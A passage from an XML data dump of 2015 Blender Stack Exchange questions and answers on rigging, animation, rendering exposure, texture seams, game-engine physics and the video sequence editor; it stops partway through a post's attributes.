  <row Id="36864" PostTypeId="1" CreationDate="2015-09-01T16:51:42.683" Score="0" ViewCount="74" Body="&lt;p&gt;I have modeled a simple robot leg. There is a U shaped socket at the top. A cylinder is attached in this U shape. The cylinder is the child of U socket. I rotate U socket via arrow keys using logic bricks to move the cylinder (U socket acts like a motor).&#xA;The problem is that when I rotate the leg, it passes through the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;U Shaped Socket - Dynamic&#xA;Cylinder - Dynamic, Box Collision&#xA;Ground - Plane, Static, Triangle Mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? How do I prevent the leg from passing through the ground?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;Please find the .blend file here.&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/459/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=459&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16347" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-02T09:33:07.223" Title="Robot leg passing through the ground" Tags="&lt;game-engine&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36865" PostTypeId="2" ParentId="36850" CreationDate="2015-09-01T16:52:35.277" Score="6" Body="&lt;p&gt;I created the dynamic length pipe with two objects. The first object is one unit long, only large enough to house the hole at the end. The second object it just the tube, easy to change the length, via scaling or inputting dimensions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gGOuY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gGOuY.png&quot; alt=&quot;dynamic length pipe objects&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The way I link the two pieces, is with a &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;Child of Constraint&lt;/a&gt; (scroll down to the bottom of answer).&lt;br /&gt;&#xA;Normal parenting would influence the scale, but with a child of constraint (CoC) each of the transform operations and channels are selectable.&lt;/p&gt;&#xA;&lt;p&gt;Add a CoC to the hole object with the &lt;em&gt;Target&lt;/em&gt; set to the main pipe.  Uncheck all the &lt;em&gt;Scale&lt;/em&gt; boxes.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KNgIl.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNgIl.png&quot; alt=&quot;child of constraint settings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/454/&quot; rel=&quot;noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;p&gt;You will move the tube from only the large main section. However when you duplicate it, you will need to duplicate both objects.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q1jgk.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q1jgk.gif&quot; alt=&quot;animated gif&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-01T16:52:35.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36866" PostTypeId="2" ParentId="36861" CreationDate="2015-09-01T16:57:10.140" Score="1" Body="&lt;p&gt;Blender is capable of doing what you describe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One major hurdle with this system is going to be the viewing client. If you need to output a stream over the network, your simulation will need to render to python socket. Probably most easily done in BGE. &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?263671-BGE-Get-and-use-the-Blender-camera-video-stream-during-game&quot; rel=&quot;nofollow&quot;&gt;possible&lt;/a&gt;.  Then you'll also need an adaptor to make that a usable video stream. (If you were trying to open it in VLC or iTunes type app)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option might be to build your clients with BGE also, then you could use a Multiplayer framework to let people login to the running simulation. &lt;/p&gt;&#xA;" OwnerUserId="674" LastActivityDate="2015-09-01T16:57:10.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36867" PostTypeId="2" ParentId="36863" CreationDate="2015-09-01T17:00:44.897" Score="12" Body="&lt;p&gt;No the F stop has no effect in the overall brightness of a scene like it does in real life. It is meant to affect focus and the depth of field primarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In real life a opening the iris by one f stop would mean that twice the light would enter the camera making things brighter. 2 stops would be 4 times the amount of light, and so on in a square progression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That does not happen in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F stop 0.5:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/edQTY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/edQTY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F stop 22:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EqNPr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EqNPr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the figure in the middle remains with no brightness change.&#xA;In the real world the first image would have been much brighter by several magnitudes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simulated illustration of what you would get if by every stop the intensity of the light would change:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/F47Cv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F47Cv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To control the overall exposure of a scene in cycles you have several options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the Film-&gt;Eposure control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/58n7j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/58n7j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0ejnj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ejnj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you are after you can also use Nodes on the compositor (Hue/saturation/Value, brightness/contrast/ gamma, or even tone mapping)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or by messing with the color management's exposure control:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KqrAS.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KqrAS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-09-20T16:46:08.920" LastActivityDate="2015-09-20T16:46:08.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36868" PostTypeId="1" CreationDate="2015-09-01T18:06:21.650" Score="2" ViewCount="542" Body="&lt;p&gt;I have a not-perfect walkcykle, but in the proces I made a mistake on one bone. I do have a copy of each step I made, therefore I have a walkcykle, which have this bone seved corectly and the other bones are not. is there a way how to combine these two poses?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2017-12-07T23:09:16.520" Title="is there a way to copy part of pose into another pose" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36869" PostTypeId="1" CreationDate="2015-09-01T18:12:09.387" Score="1" ViewCount="28" Body="&lt;p&gt;I have about 140 bones which I want to move down and each starting at the same point but I want each to start moving a few frames after the previos one the same way and stop them all at once.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2015-09-01T18:12:09.387" Title="is there a way to animate a lot of bones moving the same way one after another?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36870" PostTypeId="1" CreationDate="2015-09-01T18:18:06.127" Score="4" ViewCount="2332" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i5vLQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i5vLQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the side of the toe there is a change in color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know which texture it is. Whether its the normal map or the skin, I'm not sure. But when I go into texture paint mode, and select the blur tool, it barely changes when using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized its the shape of the topology??? It goes all the way up the foot and cuts off at the front of the ankle in the shape of a seam formed by vertices on the foot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also at the place where the map was separated into different sections. EG legs, arms etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lTWwZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lTWwZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ro3ln.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ro3ln.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/455/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=455&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-08T01:22:30.587" Title="How to get rid of this seam on my texture?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="36871" PostTypeId="2" ParentId="36870" CreationDate="2015-09-01T19:19:12.153" Score="3" Body="&lt;p&gt;Things to check: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Creased?&lt;/strong&gt; Turn on the display of creases (&lt;kbd&gt;N&lt;/kbd&gt; &lt;em&gt;&gt; Mesh Display &gt; Creases&lt;/em&gt;), then enter &lt;em&gt;Edit Mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;) and look for a blue line along that section. If you see the blue line, clear the crease (&lt;em&gt;Edge Select Mode&lt;/em&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;, &lt;em&gt;Clear Crease&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Internal Face?&lt;/strong&gt; Check to see if you an internally extruded face along that section. Hit &lt;kbd&gt;Z&lt;/kbd&gt; to enter &lt;em&gt;Wireframe Mode&lt;/em&gt;, switch to &lt;em&gt;Face Select Mode&lt;/em&gt;, and look for a third face attached to that edge. If so, delete it (them).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Edge Split?&lt;/strong&gt; Ensure you don't have an Edge-Split modifier with too low of a value (&lt;em&gt;Properties &gt; Modifiers &gt; Edge Split&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Shade Flat?&lt;/strong&gt; Select all faces surrounding the issue and hit &lt;kbd&gt;W&lt;/kbd&gt; then &lt;em&gt;Shade Smooth&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I downloaded your blend and took a quick look.&lt;/em&gt; It doesn't appear to be any of the things I've listed, but seem to be (as you suggested) associated with the UV mapped textures. The area in question is along two non-contiguous UV segments. So, unless the pixels directly under both segments have identical colors, one would absolutely expect there to be such a discontinuity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;My suggestion is to re-project the geometry so as to avoid seams in your UV in prominent positions.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="16665" LastEditDate="2015-09-08T01:22:30.587" LastActivityDate="2015-09-08T01:22:30.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36872" PostTypeId="1" CreationDate="2015-09-01T20:00:12.683" Score="1" ViewCount="1514" Body="&lt;p&gt;I have been doing a Reloading animation and when I finally finished I wanted to flip the way the reloading goes, just flip the &lt;em&gt;Poses&lt;/em&gt;, not the &lt;em&gt;Animation&lt;/em&gt;. See Images Below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I &lt;strong&gt;HAVE&lt;/strong&gt; and what I &lt;strong&gt;WANT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1tkeC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1tkeC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I though the &quot;&lt;em&gt;Flip Animation Addon&lt;/em&gt;&quot; could help, but it didn't do what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I just want to keep the &lt;em&gt;First and Last 2 poses of animation&lt;/em&gt; and the rest poses in between should be Flipped.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/456/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=456&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-09-01T20:09:05.643" Title="How to Flip the POSES?" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36873" PostTypeId="1" CreationDate="2015-09-01T20:00:57.273" Score="1" ViewCount="675" Body="&lt;p&gt;I am a hardened cinema 4d user and am using blender to bring in fbx files and export out as collada using the open collada engine within blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is I have a 20meg c4d file, a 20meg fbx file and when saved in blender again a 20meg file, yet when I export the collarda the file is 80meg!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be really appreciated&lt;/p&gt;&#xA;" OwnerUserId="16837" LastActivityDate="2015-09-01T20:00:57.273" Title="Collada file size" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36874" PostTypeId="2" ParentId="36814" CreationDate="2015-09-01T20:36:33.547" Score="1" Body="&lt;p&gt;It's defined in C code here: &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/makesrna/intern/rna_ui_api.c;4b1f3a7819ff535f8eb6fdd97b02951c32306f2d$871&quot; rel=&quot;nofollow&quot;&gt;rna_ui_api.c#871&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is called: &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/editors/space_node/node_templates.c;4b1f3a7819ff535f8eb6fdd97b02951c32306f2d$721&quot; rel=&quot;nofollow&quot;&gt;node_templates.c#721&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to use it properly, but I guess you need to roll your own panel for your custom nodes in a custom node tree. This seems to work as panel draw code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        ntree = bpy.data.node_groups[&quot;NodeTree&quot;] # our custom node tree&#xA;        node = ntree.nodes.active # selected node&#xA;        for socket in node.outputs:&#xA;            layout.template_node_view(ntree, node, socket)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-09-01T20:36:33.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36876" PostTypeId="1" AcceptedAnswerId="36931" CreationDate="2015-09-01T22:02:32.133" Score="0" ViewCount="689" Body="&lt;p&gt;I am building an animation of a machine where various parts move along paths in turn. So far I have done this without any armatures. I was hoping to string several cycles of operation together, and modify object parameters (using python script) for each machine cycle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From previous questions, it seems that the NLA editor can't work with groups of actions associated with multiple objects - so maybe the best I can achieve is to write a script to step and repeat the keyframes for all objects? Alternatively, is it possible to render-time transpose my keyframes on the fly at the end of the cycle, or programatically render frames 1..300 twice (with some tweaks) to achieve 1..600?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two reasons for wishing to automate the process. Firstly, it would allow me to generate any number of different cycles based on a small number of parameters (my first trial has 5 cycles of 300 frames). Second, as I have already discovered, defects in my base model only become obvious after I made and modified 5 copies of the basic cycle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(for what its worth, I'm not an artist - just trying to find a good way to demonstrate how the machine works)&lt;/p&gt;&#xA;" OwnerUserId="16838" LastEditorUserId="16838" LastEditDate="2015-09-02T13:42:33.940" LastActivityDate="2015-09-02T21:36:56.677" Title="How can I repeat a group of animation phases" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36877" PostTypeId="1" CreationDate="2015-09-01T22:33:33.697" Score="3" ViewCount="44" Body="&lt;p&gt;I embarked on a project to use Blender to simulate the behaviour of a wave energy device in order to establish its performance, only to find while learning fluid simulation that fluids cannot affect solid objects. This is fatal to this project, and disappointing as Blender has everything else. How close is fluid simulation to being able to influence rigid objects (eg, chairs and cars being washed away by a flood, or water turning a water wheel)? If not currently in development or scheduled, where is the place to start to pursue enhancing Blender to incorporate this capability myself?&lt;/p&gt;&#xA;" OwnerUserId="16839" LastActivityDate="2015-09-01T22:33:33.697" Title="How close is fluid simulation to being able to influence rigid bodies?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-09-01T22:41:29.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="36878" PostTypeId="2" ParentId="36863" CreationDate="2015-09-02T00:32:39.380" Score="10" Body="&lt;h2&gt;In some way... yes!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Cameras (real&amp;amp;virtual) stores the incoming light information in pixel. When you save your images to an output format you are basically saving a matrix of values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are file format that save lot of info (ex. HDR, RAW...) and files that store just what you'll need to see your image on a standard monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the operation that may occour when choosing a lightweight format is bightness clamping. In order to just store the RGB values in the file matrix, pixel whose brightness is higher than 1, are just stored as full white (1,1,1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JjcQF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JjcQF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you examine the image above, you can make some considerations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the first two picture of the first row are demonstrating that the&#xA;overall brighness is not affected by the F-stop amount, the light is&#xA;just &quot;spreaded&quot; in the first (because the background is blurry),&#xA;while when the particles are more in focus, the light is more&#xA;&quot;concentrate&quot;.&lt;/li&gt;&#xA;&lt;li&gt;The difference column demonstrate how the camera's F-Stop doesn't&#xA;interfere with the sensor in a way to lighten up the foreground&#xA;subject.&lt;/li&gt;&#xA;&lt;li&gt;you can see that is almost no difference between the scene render&#xA;with F-stop=1, Strenght of the background objects = 10 and the one&#xA;with F-stop=1, Strenght=100. That's because brightness has been&#xA;clamped as stated at the beginning. Even if we would put an Emission strenght of 10000.. we would always see a bunch of white pixels.&lt;/li&gt;&#xA;&lt;li&gt;If you now examine the corrispectives with F-stop=0.1, the lower&#xA;image result more bright. That's because the clamping has not&#xA;occoured. As said in the first consideration light intensity has been spreaded by the bokeh effect, so in none of them pixel are white. So the value didn't need to be clamped.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y2yX3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y2yX3.png&quot; alt=&quot;Strenght=1000&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/458/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=458&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image above, emission strenght is set to 1000, so in both pics values are clamped to white. As the bokeh effect spread the light, in a certain sense the image on the left can be said &lt;strong&gt;brighter&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-09-20T18:38:24.857" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36879" PostTypeId="2" ParentId="18854" CreationDate="2015-09-02T01:52:41.100" Score="2" Body="&lt;p&gt;Hoping that this answer may offer great insights on how to use Blender as an image manipulation tool even if this question is nearly a year-old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a beginner, but investigated blender for any image work(3D/2D) in my opinion, blender is very useful for non-destructive image manipulation. Your image's quality will stay the same no matter what you will do with it in Blender. The reason is your image when imported to a plane it is as good as for display purposes only, Blender will not directly touch the image's pixels, because it can't. Then you can fire up Blender's Node Editor to manipulate the plane's lighting, texture, camera etc., from converting the image to gray to many forms of image manipulation through the use of nodes, without ever touching the image. The good thing about Blender for image manipulation unlike in Gimp is we have the lamp sources with varied modes like sun, spot light, point, and Area modes. Plus the camera itself, you can setup camera to perspective, orthographic, or panoramic and you can only focus to a certain part in the image. Camera in blender provides so many camera presets. You can set the value of focal length, and it will even act as a micro-lens. While we can do these effects in Gimp or any other package, in Blender it is so easy to experiment photo effects via Node Editor. Please note that Blender is not a replacement of Gimp or Photoshop for image manipulation though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Blender's Node Editor with the RGB filter, you can add many filters as you want on how to manipulate the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bUT6G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bUT6G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16842" LastActivityDate="2015-09-02T01:52:41.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36880" PostTypeId="1" CreationDate="2015-09-02T03:21:14.947" Score="1" ViewCount="102" Body="&lt;p&gt;I am having a problem with the blender sequence editor and editing clips. Whenever I want to move a clip or trim it, I would hold left click (I set it as left click) to trim/move the clip but when I stop holding left click, the clip or end of the clip still stays attached to my cursor until I click again. Is there a way to set this so that I don't have to click 2 times to trim/move a clip and instead just drag them?&lt;a href=&quot;https://i.stack.imgur.com/Q5IA0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q5IA0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16844" LastActivityDate="2015-09-02T03:40:08.757" Title="Blender Video Editor: Clip stays attached to cursor after releasing left click during drag" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36881" PostTypeId="2" ParentId="36880" CreationDate="2015-09-02T03:40:08.757" Score="1" Body="&lt;p&gt;With the clip selected, you can hit 'g' to move (just like the 3D view, the Graph Editor, the Node editor, etc) and use your mouse to reposition the sequence. When you are finished, left-click to accept, or right-click to undo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you will find that this is very easy to use, and, even better (because it is &lt;em&gt;exactly like the rest of blender&lt;/em&gt;) it is also easy to remember.&lt;/p&gt;&#xA;" OwnerUserId="16665" LastActivityDate="2015-09-02T03:40:08.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36882" PostTypeId="2" ParentId="36876" CreationDate="2015-09-02T03:47:49.387" Score="1" Body="&lt;p&gt;Does it &lt;em&gt;need&lt;/em&gt; to be programmatic? If not, select one of the objects, select the keyframes (in the graph editor) in frames 1-300: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; to duplicate the keyframes&lt;/li&gt;&#xA;&lt;li&gt;Then hit &lt;kbd&gt;G&lt;/kbd&gt; and &lt;kbd&gt;3&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; &lt;/li&gt;&#xA;&lt;li&gt;Then &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm the operation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will duplicate the exact keyframe in 1-300 and move the duplicates to 301-600.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is more complicated than that, perhaps you might update your question with more details on exactly what you are attempting to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="3710" LastEditDate="2015-09-02T13:19:04.180" LastActivityDate="2015-09-02T13:19:04.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36883" PostTypeId="1" CreationDate="2015-09-02T04:06:04.607" Score="0" ViewCount="330" Body="&lt;p&gt;I am trying to add a 21 minute, 58 second MP4 file as a movie strip. When Blender imports it, the file shows as being 3 hours, 28 minutes and 20 seconds. What should I do to correct this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file runs fine in Windows Live Movie Maker, VLC, and Windows Media Player. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried it in both Blender 2.75 and Blender 2.72 on Windows 7 Home Premium (x64), with both versions giving the same results. I'm not sure why this is happening, though it is worth mentioning that the video has an odd floating-point frame rate of 19.195170 FPS. Rounding this to 20 FPS means that the video should be ~79,080 frames long. Instead, it's hit Blender's absolute maximum length of 300,000 frames long since the full length is apparently 331,120 frames (26.4896 FPS). The pop-up box says this is &quot;The final length after handles are applied,&quot; what does that mean? Could it be causing the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The video was created using Mobizen screen recorder on Android, and I managed to process it through WLMM and upload it to YouTube with no issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just wondering what could make Blender miscount the frames and video length by such a large margin.&lt;/p&gt;&#xA;" OwnerUserId="16845" LastActivityDate="2015-09-02T04:06:04.607" Title="Visual Sequence Editor Imports Movie Strip as Too Long" Tags="&lt;video-sequence-editor&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36884" PostTypeId="1" CreationDate="2015-09-02T07:08:43.783" Score="7" ViewCount="2044" Body="&lt;p&gt;Please see the both renders below with limited and full global illumination, I like the way full global illumination brighten up the things and details, but I am having weird reflections on the glass surfaces? is this behaviour normal and correct realistic result or i am doing something wrong? thanks for the help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SZRtB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SZRtB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender file &lt;a href=&quot;http://www.pasteall.org/blend/37839&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using cycles, Subsurface modifier at 3 for the glass objects to render &lt;/p&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="5435" 